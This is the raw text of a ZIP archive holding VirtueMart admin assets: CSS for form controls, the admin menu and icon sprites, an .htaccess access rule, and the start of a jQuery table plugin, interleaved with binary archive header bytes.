.vmquote{background-color:#E9ECEF;border:1px solid #CCC;color:#254D78;font-size:12px;margin:4px;padding:10px} ul.newsfeed{list-style:none!important;text-align:left;padding:0} ul.newsfeed li{font-size:120%;line-height:150%;margin:0;padding:0 0 0 25px} .cpanel{padding-left:25px;text-align:left} .element-box{background:#fff} PKs>\$com_virtuemart/assets/css/index.htmlnuW+APKs>\HȆR#R#)com_virtuemart/assets/css/jqtransform.cssnuW+Aform.jqtransformdone label{ margin-top:4px; margin-right: 8px; display: block; float:left; } form.jqtransformdone div.rowElem{ clear:both; padding:4px 0px; } /* ------------- * Buttons * ------------- */ button.jqTransformButton { margin: 0px; padding: 0px; border: none; background-color: transparent; cursor: pointer; overflow: visible; font-family: Arial; } *:first-child+html button.jqTransformButton[type]{width: 1;} /* IE7 */ button.jqTransformButton span { background: transparent url(../images/jtransform/btn_right.gif) no-repeat right top; display: block; float: left; padding: 0px 4px 0px 0px; /* sliding doors padding */ margin: 0px; height: 33px; } button.jqTransformButton span span { background: transparent url(../images/jtransform/btn_left.gif) no-repeat top left; color: #333; padding: 8px 4px 0px 8px; font-weight: normal; font-size: 12px; line-height: 13px; display: block; text-decoration: none; height: 33px; } /*hover*/ button.jqTransformButton_hover span span { background-position: left -33px ; } button.jqTransformButton_hover span { background-position: right -33px ; } /*clicked*/ button.jqTransformButton_click span span { background-position: left -66px ; } button.jqTransformButton_click span { background-position: right -66px ; } /* IE 6 */ * html button.jqTransformButton { height:33px; } * button.jqTransformButton span span { height: 25px; } /* IE 7 */ *+ html button.jqTransformButton { height:33px; } *+ button.jqTransformButton span span { height: 25px; } /* ------------- * Inputs * ------------- */ .jqTransformInputWrapper { background: transparent url(../images/jtransform/input/input_text_left.gif) no-repeat left top; height: 31px; padding: 0px; float:left; } .jqTransformInputInner { background: transparent url(../images/jtransform/input/input_text_right.gif) no-repeat top right; padding: 0px; margin: 0px; } .jqTransformInputInner div { height: 31px; margin:0px 0px 0px 8px; } .jqTransformInputInner div input { font-family:Arial, Helvetica, sans-serif; font-size:12px; line-height: 18px; vertical-align: middle; height: 31px; color:#404040; border: none; padding: 8px 0px 0px 0px; margin: 0px; background:transparent; } /* IE6 */ * html .jqTransformInputInner div input { padding: 6px 0 0 0; margin: 0 0 0 -8px; height:24px; } /* Ie7 */ *+ html .jqTransformInputInner div input { padding: 6px 0 0 0; margin-left:-10px; height:24px; } /*hover*/ .jqTransformInputWrapper_hover{ background-position: left -31px ;} .jqTransformInputWrapper_hover div.jqTransformInputInner{ background-position: right -31px ;} /*focus*/ .jqTransformInputWrapper_focus{ background-position: left -62px ;} .jqTransformInputWrapper_focus div.jqTransformInputInner{ background-position: right -62px ;} .jqTransformSafari .jqTransformInputInner div { position: relative; overflow: hidden; margin:0px 8px; } .jqTransformSafari .jqTransformInputInner div input { background-color: none; position: absolute; top: -10px; left: -2px; height: 42px; padding-left: 4px; } /* ------------- * Textarea * ------------- */ table.jqTransformTextarea td#jqTransformTextarea-mm textarea{ font-size: 12px; line-height: 16px; } table.jqTransformTextarea td{ font-size: 1px; line-height: 1px; width: 5px; height: 5px; margin: 0; padding: 0; } table.jqTransformTextarea{} table.jqTransformTextarea tr{ /*border: 1px solid red;*/ } table.jqTransformTextarea textarea{ margin: 0; padding: 0; border: 0; background: none; } table.jqTransformTextarea td#jqTransformTextarea-tl{background: url(../images/jtransform/textarea/textarea_tl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-tm{background: url(../images/jtransform/textarea/textarea_tm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-tr{background: url(../images/jtransform/textarea/textarea_tr.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-ml{background: url(../images/jtransform/textarea/textarea_ml.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-mm{background: url(../images/jtransform/textarea/textarea-mm.gif) repeat;} table.jqTransformTextarea td#jqTransformTextarea-mr{background: url(../images/jtransform/textarea/textarea_mr.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-bl{background: url(../images/jtransform/textarea/textarea_bl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-bm{background: url(../images/jtransform/textarea/textarea_bm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-br{background: url(../images/jtransform/textarea/textarea_br.gif) no-repeat top left;} /*hover*/ table.jqTransformTextarea-hover td#jqTransformTextarea-tl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tr{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-ml{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-hover.gif);} table.jqTransformTextarea-hover td#jqTransformTextarea-mr{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-br{background-position:0px -5px;} /*focus*/ table.jqTransformTextarea-focus td#jqTransformTextarea-tl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tr{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-ml{background-position:-10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-focus.gif);} table.jqTransformTextarea-focus td#jqTransformTextarea-mr{background-position: -10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-br{background-position:0px -10px;} table.jqTransformTextarea .jqTransformSafariTextarea div { position: relative; overflow: hidden; border: 0px solid red; } table.jqTransformTextarea .jqTransformSafariTextarea textarea{ background: none; position: absolute; top:-10px; left:-10px; padding: 10px 10px 10px 10px; resize: none; } /* ------------- * Radios * ------------- */ .jqTransformRadioWrapper {float: left;display:block;margin:0px 4px; margin-top:5px;} .jqTransformRadio { background: transparent url(../images/jtransform/radio.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checkboxes * ------------- */ span.jqTransformCheckboxWrapper{ display:block;float:left; margin-top:5px; } a.jqTransformCheckbox { background: transparent url(../images/jtransform/checkbox.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checked - Used for both Radio and Checkbox * ------------- */ a.jqTransformChecked { background-position: center bottom;} /* ------------- * Selects * ------------- */ .jqTransformSelectWrapper { width: 45px; position:relative; height: 31px; background: url(../images/jtransform/select_left.gif) no-repeat top left; float:left; } .jqTransformSelectWrapper div span { font-size: 12px; float: none; position: absolute; white-space: nowrap; height: 31px; line-height: 15px; padding: 8px 0 0 7px; overflow: hidden; cursor:pointer; /*border: 1px solid #CCCCCC;*/ /* border-right: none;*/ } .jqTransformSelectWrapper a.jqTransformSelectOpen { display: block; position: absolute; right: 0px; width: 31px; height: 31px; background: url(../images/jtransform/select_right.gif) no-repeat center center; } .jqTransformSelectWrapper ul { position: absolute; width: 43px; top: 30px; left: 0px; list-style: none; background-color: #FFF; border: solid 1px #CCC; display: none; margin: 0px; padding: 0px; height: 150px; overflow: auto; overflow-y: auto; z-index:10; } .jqTransformSelectWrapper ul a { display: block; padding: 5px; text-decoration: none; color:#333; background-color: #FFF; font-size: 12px; } .jqTransformSelectWrapper ul a.selected { background: #EDEDED; color: #333; } .jqTransformSelectWrapper ul a:hover, .jqTransformSelectWrapper ul a.selected:hover { background:#3582c4; color: #fff; } /* ------------- * Hidden - used to hide the original form elements * ------------- */ .jqTransformHidden {display: none;}PKs>\cc(com_virtuemart/assets/css/admin_menu.cssnuW+A#content-box { background: url(../images/admin_menu/vm_border.png) 0 0 repeat-y; } #content-box2 { background: url(../images/admin_menu/vm_border.png) 100% 0 repeat-y; background-color: Black; } #content-box3 { background: url(../images/admin_menu/vm_border.png) 100% 0 repeat-y; } #content-pad { padding: 0; } #content-pad2 { padding: 0; } .spacer { height: 10px; overflow: hidden; } .content-area { float: right; width: 80%; } .content-area-full { clear: both; float: none; width: 100%; } .content-area .content-pad .content-pad2 { padding-left: 10px; } .content-area-full .content-pad .content-pad2 { padding: 0; } .section-smenu{ } .title-smenu, .title-smenu-down { margin: 0px; padding: 9px 10px 7px 28px; color: #fff; cursor: pointer; font-size: 11px; font-weight: normal; text-shadow: 0px -1px 0px #0a366d; text-transform: uppercase; } .title-smenu { background: url(../images/admin_interface.png) no-repeat;background-position: 0px -117px; } .title-smenu-down { background: url(../images/admin_interface.png) no-repeat;background-position: 0px -177px; } div.status-divider { clear:left; height: 1px !important; height: 3px; overflow: hidden; } .sidemenu-box { float: left; width: 180px; } .sidemenu-box2 { float: left; width: 100%; } .sidemenu-pad { padding: 0; margin-bottom: 0px !important; } .sidemenu-top {text-align: center;background: url(../images/admin_interface.png) top left no-repeat;padding: 12px 0px 12px 0px;-webkit-border-top-left-radius: 6px;-moz-border-radius-topleft: 6px;-webkit-border-top-right-radius: 6px;-moz-border-radius-topright: 6px;} .sidemenu-top a {display: block;margin: 0px 0px 8px 0px;} .sidemenu-top h2 {margin: 0px;padding: 0px;} .sidemenu-top h2 a {font-size: 12px;color: #fff;text-shadow: 1px 1px 1px #000;} .sidemenu-top h2 a:hover {text-decoration: none;} .sidemenu-bottom {text-align: center;background: url(../images/admin_interface.png) top left no-repeat;padding: 16px 0px 17px 0px;background-position: 0px -268px;-webkit-border-bottom-left-radius: 6px;-moz-border-radius-bottomleft: 6px;-webkit-border-bottom-right-radius: 6px;-moz-border-radius-bottomright: 6px;} .sidemenu-bottom a:link, .sidemenu-bottom a:visited {font-size: 12px;color: #fff;text-shadow: 1px 1px 1px #000;} .sidemenu-bottom a:hover {text-decoration: none;} .updates {text-align: center;} .updates a, .updates a:visited {display:inline-block;background: #84df54 url(../images/admin_interface.png) top left no-repeat;color: #fff;background-position: 0px -315px;padding: 5px 12px 5px 12px;font-size: 12px;text-shadow: 0px -1px 0px #0d8604;font-weight: bold;-webkit-border-bottom-left-radius: 6px;-webkit-border-bottom-right-radius: 6px;-moz-border-radius-bottomleft: 6px;-moz-border-radius-bottomright: 6px;} .updates a:hover {text-decoration: none;} .element-box { background: #fff; } .element-pad { padding: 10px; } .extra-padding { padding: 10px; } .sidemenu-box ul { margin: 0; padding: 0; } .sidemenu-box ul li { } .sidemenu-box li a { margin: 0px; padding: 9px 10px 6px 28px; cursor: pointer; font-size: 12px; font-weight: normal; text-shadow: 0px -1px 0px #fff; display: block; background: url(../images/admin_interface.png) no-repeat; background-position: 0px -207px; color: #4a4a4a; } .sidemenu-box li a:hover { background-position: 0px -237px; color: #0270bc; text-decoration: none; } .sidemenu-box li a:active { background-position: 0px -237px; color: #0270bc; text-decoration: none; } .sidemenu-box h2 { font-size: 18px; font-weight: bold; margin: 0; padding: 0 5px; color: #0B55C4; margin-bottom: 5px; } .vmquote { background-color: #E9ECEF; border: 1px solid #CCCCCC; color: #254D78; font-size: 12px; margin: 4px; padding: 10px; }PKs>\$~$FF*com_virtuemart/assets/css/admin.styles.cssnuW+A.ui-autocomplete{position:absolute} #cpanel{text-align:center;vertical-align:middle;height:1%;overflow:hidden} #cpanel div.icon{margin:3px} .admin-content div.icon a { display: block; height: 93px !important; height: 95px; width: 118px !important; width: 120px; vertical-align: middle; text-decoration : none; border: none; padding: 8px 12px 6px 12px; -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.25) inset, 0 1px 2px #FFFFFF; -webkit-box-shadow:rgba(0, 0, 0, 0.148438) 0 1px 2px inset, #FFFFFF 0 1px 2px; background-image: -moz-linear-gradient(100% 100% 90deg, #F8F8F8, #FFFFFF); background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#FFFFFF), to(#F1F1F1)); -webkit-border-radius: 6px; -moz-border-radius: 6px; font-size: 12px; } .adminListHeader{height:48px;background-repeat:no-repeat;text-align:left;font-size:18px;font-weight:700;padding-left:80px} .editable{background:#ffff33;cursor:pointer} .align-center{text-align:center} .vm-block{overflow:hidden} .vm-main-container{position:relative} .vm-layout-left{float:left;width:200px} .vm-layout-right{width:auto} .vm-replace-content{text-indent:-9999px;font-size:0} .vm-absolute{position:absolute} .detachselectimage,#addnewselectimage{background-repeat:no-repeat;border:1px solid #CCCCCC;cursor:pointer;display:inline;line-height:36px;margin:5px;padding:5px 5px 5px 16px} .vm_thumb_image{background:url(../images/admin_ui/toolbar_background.png) repeat-x scroll center bottom;border:1px solid #B4B4B4;border-radius:6px;display:block;float:left;height:140px;overflow:hidden;position:relative;text-align:center;vertical-align:middle;width:120px;margin:2px;padding:10px} .vm_thumb_image img{max-height:90px;max-width:110px} .vm_mini_image{max-height:50px;max-width:80px;vertical-align:middle} .vm__img_autocrop{display:block;max-height:400px;overflow:auto;position:relative;text-align:center} .custom_related_title,.custom_related_image{display:block;clear:both} .remove{cursor:pointer} .vm-order_comment{display:block;position:absolute;z-index:1;width:200px;margin:-20px} #fancybox-left-ico{left:20px} #fancybox-right-ico{right:20px;left:auto} .edit-24-grey{background-image:url(../images/edit-24-grey.png);background-position:center center;background-repeat:no-repeat;border:1px solid #CCCCCC;border-radius:4px;display:inline;height:24px;right:0;position:absolute;bottom:2px;width:24px;cursor:pointer;margin:2px 0 0 2px} .removable{border-radius:6px 6px 6px 6px;border:1px solid #CCCCCC;padding:2px} #new_stockable_product{border:1px solid #CCCCCC;cursor:pointer;padding:2px} div.threecols ul li{background:none repeat scroll 0 0 transparent;display:inline-block;min-height:10px;vertical-align:top;width:32%;padding:0} div.threecols ul{margin:0;padding:0} .hasTip:after{ font:12px/1.4 Arial,Georgia,sans-serif; content: attr(title); display:none; position:absolute; padding:5px 10px; top:0px; margin:1em 0 3em; color:#fff; background:#075698; left:-20px; -moz-border-radius:4px; -webkit-border-radius:4px; border-radius:4px; background:-webkit-gradient(linear, left top, left bottom, from(#075698), to(#2e88c4)); background:-moz-linear-gradient(top, #075698, #2e88c4); background:-o-linear-gradient(top, #075698, #2e88c4); background:linear-gradient(top, #075698, #2e88c4); -moz-box-shadow: 0px 0px 4px #000; /* FF3.5+ */ -webkit-box-shadow: 0px 0px 4px #000; /* Saf3.0+, Chrome */ box-shadow: 0px 0px 4px #000; /* Opera 10.5, IE 9.0 */ filter: progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000'); /* IE6,IE7 */ -ms-filter: "progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000')"; /* IE8 */ } .media-pagination span{padding:6px; margin-left: 2px; border:solid 1px #075698; -moz-border-radius:6px; -webkit-border-radius:6px; border-radius:6px; } .media-pagination span:hover,.media-pagination span.media-page-selected{background:#CAC9C9;cursor:pointer} .element-hidden{display:none} .datepicker{text-align:center;width:70px} a.fg-button,.always-left{float:left!important} .fg-button{cursor:pointer;outline:0 none;position:relative;text-align:center;text-decoration:none!important;margin:0 4px 0 0;padding:0} #searchMedia{margin:0;padding:0} .stock-out{background-color:#f9a7aa!important;color:black} .stock-low{background-color:#F7B77B!important;color:black} .stock-normal{background-color:#F0F9D0!important;color:black} table.adminlist td.order{width:100px!important} ol.logline {margin: 15px 0;padding: 0 0 0 20px;background: #F7F7F7; border: 1px solid #CCC;} ol.logline li {margin: 0 0 0 20px;padding: 5px 10px 5px 10px;list-style: decimal-leading-zero;word-wrap: break-word;border-left: 1px solid #CCC;background: #FFF;}PKs>\& 77)com_virtuemart/assets/css/menu_images.cssnuW+A.vmicon{ background: no-repeat top left; width: 16px;height: 16px; float: right;margin-right: 4px; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } .vmicon:hover{opacity :1;} .vmextimg img{width:48px!important; float:none!important; margin:0 auto !important;padding:5px 0 !important;} /* to use inline with no float*/ .icon-nofloat{ display: inline-block; float: none; vertical-align: middle;} .vmicon-16-adduser{ background: url(../images/icone16.png) 0 0; } .vmicon-16-adduser-off{ background: url(../images/icone16.png) 0 -16px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -82px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -98px;} .vmicon-16-archive{ background: url(../images/icone16.png) 0 -164px; } .vmicon-16-article{ background: url(../images/icone16.png) 0 -230px; } .vmicon-16-back{ background: url(../images/icone16.png) 0 -296px;} .vmicon-16-back-off{ background: url(../images/icone16.png) 0 -212px;} .vmicon-16-bug{ background: url(../images/icone16.png) 0 -378px; } .vmicon-16-cancel{ background: url(../images/icone16.png) 0 -444px;} .vmicon-16-cancel-off{ background: url(../images/icone16.png) 0 -460px;} .vmicon-16-category{ background: url(../images/icone16.png) 0 -526px; } .vmicon-16-checkin{ background: url(../images/icone16.png) 0 -592px; } .vmicon-16-component{ background: url(../images/icone16.png) 0 -658px; } .vmicon-16-config{ background: url(../images/icone16.png) 0 -724px; } .vmicon-16-content{ background: url(../images/icone16.png) 0 -790px; } .vmicon-16-copy{ background: url(../images/icone16.png) 0 -856px;} .vmicon-16-copy-off{ background: url(../images/icone16.png) 0 -872px;} .vmicon-16-cpanel{ background: url(../images/icone16.png) 0 -938px; } .vmicon-16-css{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-css-off{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-default-off{ background: url(../images/icone16.png) 0 -1086px; } .vmicon-16-default{ background: url(../images/icone16.png) 0 -1152px; } .vmicon-16-download{ background: url(../images/icone16.png) 0 -1220px;} .vmicon-16-download-off{ background: url(../images/icone16.png) 0 -1234px;} .vmicon-16-edit{ background: url(../images/icone16.png) 0 -1300px;} .vmicon-16-edit-off{ background: url(../images/icone16.png) 0 -1316px;} .vmicon-16-editadd{ background: url(../images/icone16.png) 0 -1382px; } .vmicon-16-export{ background: url(../images/icone16.png) 0 -1448px;} .vmicon-16-export-off{ background: url(../images/icone16.png) 0 -1464px;} .vmicon-16-forward{ background: url(../images/icone16.png) 0 -1530px;} .vmicon-16-forward-off{ background: url(../images/icone16.png) 0 -1546px;} .vmicon-16-frontpage{ background: url(../images/icone16.png) 0 -1612px; } .vmicon-16-google2{ background: url(../images/icone16.png) 0 -1678px; } .vmicon-16-help{ background: url(../images/icone16.png) 0 -1744px; } .vmicon-16-html{ background: url(../images/icone16.png) 0 -1810px;} .vmicon-16-html-off{ background: url(../images/icone16.png) 0 -1826px;} .vmicon-16-import{ background: url(../images/icone16.png) 0 -1892px; } .vmicon-16-info{ background: url(../images/icone16.png) -66px 0; } .vmicon-16-install{ background: url(../images/icone16.png) -66px -66px; } .vmicon-16-language{ background: url(../images/icone16.png) -66px -132px; } .vmicon-16-logout{ background: url(../images/icone16.png) -66px -198px; } .vmicon-16-media{ background: url(../images/icone16.png) -66px -264px; } .vmicon-16-menu{ background: url(../images/icone16.png) -66px -330px; } .vmicon-16-menumgr{ background: url(../images/icone16.png) -66px -396px; } .vmicon-16-messages{ background: url(../images/icone16.png) -66px -462px; } .vmicon-16-module{ background: url(../images/icone16.png) -66px -528px; } .vmicon-16-move{ background: url(../images/icone16.png) -66px -594px;} .vmicon-16-move-off{ background: url(../images/icone16.png) -66px -610px;} .vmicon-16-new{ background: url(../images/icone16.png) -66px -676px;} .vmicon-16-new-off{ background: url(../images/icone16.png) -66px -692px;} .vmicon-16-orderstatus{ background: url(../images/icone16.png) -66px -758px; } .vmicon-16-plugin{ background: url(../images/icone16.png) -66px -824px; } .vmicon-16-preview{ background: url(../images/icone16.png) -66px -890px;} .vmicon-16-preview-off{ background: url(../images/icone16.png) -66px -906px;} .vmicon-16-publish{ background: url(../images/icone16.png) -66px -972px;} .vmicon-16-publish-off{ background: url(../images/icone16.png) -66px -988px;} .vmicon-16-refresh{ background: url(../images/icone16.png) -66px -1054px;} .vmicon-16-refresh-off{ background: url(../images/icone16.png) -66px -1070px;} .vmicon-16-reload{ background: url(../images/icone16.png) -66px -1136px; } .vmicon-16-remove{ background: url(../images/icone16.png) -66px -1202px; } .vmicon-16-revert{ background: url(../images/icone16.png) -66px -1268px;} .vmicon-16-revert-off{ background: url(../images/icone16.png) -66px -1284px;} .vmicon-16-save{ background: url(../images/icone16.png) -66px -1350px; } .vmicon-16-search{ background: url(../images/icone16.png) -66px -1416px;} .vmicon-16-search-off{ background: url(../images/icone16.png) -66px -1432px;} .vmicon-16-section{ background: url(../images/icone16.png) -66px -1498px; } .vmicon-16-send{ background: url(../images/icone16.png) -66px -1564px;} .vmicon-16-send-off{ background: url(../images/icone16.png) -66px -1576px;} .vmicon-16-static{ background: url(../images/icone16.png) -66px -1646px; } .vmicon-16-stats{ background: url(../images/icone16.png) -66px -1712px; } .vmicon-16-themes{ background: url(../images/icone16.png) -66px -1778px; } .vmicon-16-trash{ background: url(../images/icone16.png) -66px -1844px; } .vmicon-16-unpublish{ background: url(../images/icone16.png) -66px -1910px;} .vmicon-16-unpublish-off{ background: url(../images/icone16.png) -66px -1926px;} .vmicon-16-upload{ background: url(../images/icone16.png) -132px 0;} .vmicon-16-upload-off{ background: url(../images/icone16.png) -132px 16px;} .vmicon-16-user{ background: url(../images/icone16.png) -132px -82px; } .vmicon-16-xml{ background: url(../images/icone16.png) -132px -148px; } /*menu wrapper toggler */ .virtuemart-admin-area .toggler { position: absolute; outline: 0;} .vmicon-show{ background: url(../images/show.png) no-repeat;width: 20px; height: 50px; } .vmicon-hide{background: url(../images/hide.png) no-repeat;width: 20px; height: 50px; } /* more extras */ .vmicon-16-account_balances{ background: url(../images/icone16-more.png) 0 0; } .vmicon-16-anchor{ background: url(../images/icone16-more.png) 0 -32px; } .vmicon-16-barchart{ background: url(../images/icone16-more.png) 0 -64px; } .vmicon-16-book_spelling{ background: url(../images/icone16-more.png) 0 -96px; } .vmicon-16-bricks{ background: url(../images/icone16-more.png) 0 -128px; } .vmicon-16-calculator{ background: url(../images/icone16-more.png) 0 -160px; } .vmicon-16-calendar{ background: url(../images/icone16-more.png) 0 -192px; } .vmicon-16-calendar_view_day{ background: url(../images/icone16-more.png) 0 -224px; } .vmicon-16-camera{ background: url(../images/icone16-more.png) 0 -256px; } .vmicon-16-card_back{ background: url(../images/icone16-more.png) 0 -288px; } .vmicon-16-card_credit{ background: url(../images/icone16-more.png) 0 -320px; } .vmicon-16-card_gift_2{ background: url(../images/icone16-more.png) 0 -352px; } .vmicon-16-cash_terminal{ background: url(../images/icone16-more.png) 0 -384px; } .vmicon-16-chart_bar{ background: url(../images/icone16-more.png) 0 -416px; } .vmicon-16-chart_pie_alternative{ background: url(../images/icone16-more.png) 0 -448px; } .vmicon-16-chart_stock{ background: url(../images/icone16-more.png) 0 -480px; } .vmicon-16-client_account_template{ background: url(../images/icone16-more.png) 0 -512px; } .vmicon-16-cog{ background: url(../images/icone16-more.png) 0 -544px; } .vmicon-16-coin_stack_gold{ background: url(../images/icone16-more.png) 0 -576px; } .vmicon-16-coins{ background: url(../images/icone16-more.png) 0 -608px; } .vmicon-16-comment_edit{ background: url(../images/icone16-more.png) 0 -640px; } .vmicon-16-comments{ background: url(../images/icone16-more.png) 0 -672px; } .vmicon-16-compress{ background: url(../images/icone16-more.png) 0 -704px; } .vmicon-16-convert_color_to_gray{ background: url(../images/icone16-more.png) 0 -736px; } .vmicon-16-creditcards{ background: url(../images/icone16-more.png) 0 -768px; } .vmicon-16-database_gear{ background: url(../images/icone16-more.png) 0 -800px; } .vmicon-16-date{ background: url(../images/icone16-more.png) 0 -832px; } .vmicon-16-date_edit{ background: url(../images/icone16-more.png) 0 -864px; } .vmicon-16-disk{ background: url(../images/icone16-more.png) 0 -896px; } .vmicon-16-document_editing{ background: url(../images/icone16-more.png) 0 -928px; } .vmicon-16-document_move{ background: url(../images/icone16-more.png) 0 -960px; } .vmicon-16-drive_user{ background: url(../images/icone16-more.png) 0 -992px; } .vmicon-16-email{ background: url(../images/icone16-more.png) 0 -1024px; } .vmicon-16-email_add{ background: url(../images/icone16-more.png) 0 -1056px; } .vmicon-16-email_open{ background: url(../images/icone16-more.png) 0 -1088px; } .vmicon-16-email_open_image{ background: url(../images/icone16-more.png) 0 -1120px; } .vmicon-16-error{ background: url(../images/icone16-more.png) 0 -1152px; } .vmicon-16-ext_bmp{ background: url(../images/icone16-more.png) 0 -1184px; } .vmicon-16-ext_doc{ background: url(../images/icone16-more.png) 0 -1216px; } .vmicon-16-ext_flv{ background: url(../images/icone16-more.png) 0 -1248px; } .vmicon-16-ext_gif{ background: url(../images/icone16-more.png) 0 -1280px; } .vmicon-16-ext_html{ background: url(../images/icone16-more.png) 0 -1312px; } .vmicon-16-ext_jpeg{ background: url(../images/icone16-more.png) 0 -1344px; } .vmicon-16-ext_jpg{ background: url(../images/icone16-more.png) 0 -1376px; } .vmicon-16-ext_mp4{ background: url(../images/icone16-more.png) 0 -1408px; } .vmicon-16-ext_mpeg{ background: url(../images/icone16-more.png) 0 -1440px; } .vmicon-16-ext_pdf{ background: url(../images/icone16-more.png) 0 -1472px; } .vmicon-16-ext_png{ background: url(../images/icone16-more.png) 0 -1504px; } .vmicon-16-ext_rar{ background: url(../images/icone16-more.png) 0 -1536px; } .vmicon-16-ext_swf{ background: url(../images/icone16-more.png) 0 -1568px; } .vmicon-16-ext_xls{ background: url(../images/icone16-more.png) 0 -1600px; } .vmicon-16-ext_zip{ background: url(../images/icone16-more.png) 0 -1632px; } .vmicon-16-film{ background: url(../images/icone16-more.png) 0 -1664px; } .vmicon-16-folder{ background: url(../images/icone16-more.png) 0 -1696px; } .vmicon-16-folder_camera{ background: url(../images/icone16-more.png) 0 -1728px; } .vmicon-16-folder_image{ background: url(../images/icone16-more.png) 0 -1760px; } .vmicon-16-folder_user{ background: url(../images/icone16-more.png) 0 -1792px; } .vmicon-16-folder_wrench{ background: url(../images/icone16-more.png) 0 -1824px; } .vmicon-16-gear_in{ background: url(../images/icone16-more.png) 0 -1856px; } .vmicon-16-gift_add{ background: url(../images/icone16-more.png) 0 -1888px; } .vmicon-16-globe{ background: url(../images/icone16-more.png) 0 -1920px; } .vmicon-16-group{ background: url(../images/icone16-more.png) 0 -1952px; } .vmicon-16-group_gear{ background: url(../images/icone16-more.png) -32px 0; } .vmicon-16-house{ background: url(../images/icone16-more.png) -32px -32px; } .vmicon-16-installer_box{ background: url(../images/icone16-more.png) -32px -64px; } .vmicon-16-interface_preferences{ background: url(../images/icone16-more.png) -32px -96px; } .vmicon-16-layout{ background: url(../images/icone16-more.png) -32px -128px; } .vmicon-16-layout_content{ background: url(../images/icone16-more.png) -32px -160px; } .vmicon-16-lorry{ background: url(../images/icone16-more.png) -32px -192px; } .vmicon-16-lorry_flatbed{ background: url(../images/icone16-more.png) -32px -224px; } .vmicon-16-magnifier{ background: url(../images/icone16-more.png) -32px -256px; } .vmicon-16-map{ background: url(../images/icone16-more.png) -32px -288px; } .vmicon-16-mixer{ background: url(../images/icone16-more.png) -32px -320px; } .vmicon-16-note{ background: url(../images/icone16-more.png) -32px -352px; } .vmicon-16-page_white_stack{ background: url(../images/icone16-more.png) -32px -384px; } .vmicon-16-participation_rate{ background: url(../images/icone16-more.png) -32px -416px; } .vmicon-16-picture{ background: url(../images/icone16-more.png) -32px -448px; } .vmicon-16-pictures{ background: url(../images/icone16-more.png) -32px -480px; } .vmicon-16-piechart{ background: url(../images/icone16-more.png) -32px -512px; } .vmicon-16-plugin{ background: url(../images/icone16-more.png) -32px -544px; } .vmicon-16-plugin_edit{ background: url(../images/icone16-more.png) -32px -576px; } .vmicon-16-price_watch{ background: url(../images/icone16-more.png) -32px -608px; } .vmicon-16-report{ background: url(../images/icone16-more.png) -32px -640px; } .vmicon-16-reseller_account{ background: url(../images/icone16-more.png) -32px -672px; } .vmicon-16-reseller_account_template{ background: url(../images/icone16-more.png) -32px -704px; } .vmicon-16-reseller_programm{ background: url(../images/icone16-more.png) -32px -736px; } .vmicon-16-shopping{ background: url(../images/icone16-more.png) -32px -768px; } .vmicon-16-statistic{ background: url(../images/icone16-more.png) -32px -800px; } .vmicon-16-statistics{ background: url(../images/icone16-more.png) -32px -832px; } .vmicon-16-to_do_list_cheked_1{ background: url(../images/icone16-more.png) -32px -864px; } .vmicon-16-user-group{ background: url(../images/icone16-more.png) -32px -896px; } .vmicon-16-user-phd-group{ background: url(../images/icone16-more.png) -32px -928px; } .vmicon-16-wrench_orange{ background: url(../images/icone16-more.png) -32px -960px; } PKs>\)"com_virtuemart/assets/js/.htaccessnuW+A Order allow,deny Deny from all PKs>\Tq#-com_virtuemart/assets/js/jquery.noConflict.jsnuW+AjQuery.noConflict();PKs>\Qzaa$com_virtuemart/assets/js/vm2admin.jsnuW+A// based on http://www.seomoves.org/blog/web-design-development/dynotable-a-jquery-plugin-by-bob-tantlinger-2683/ (function ($) { $.fn.extend({ dynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, 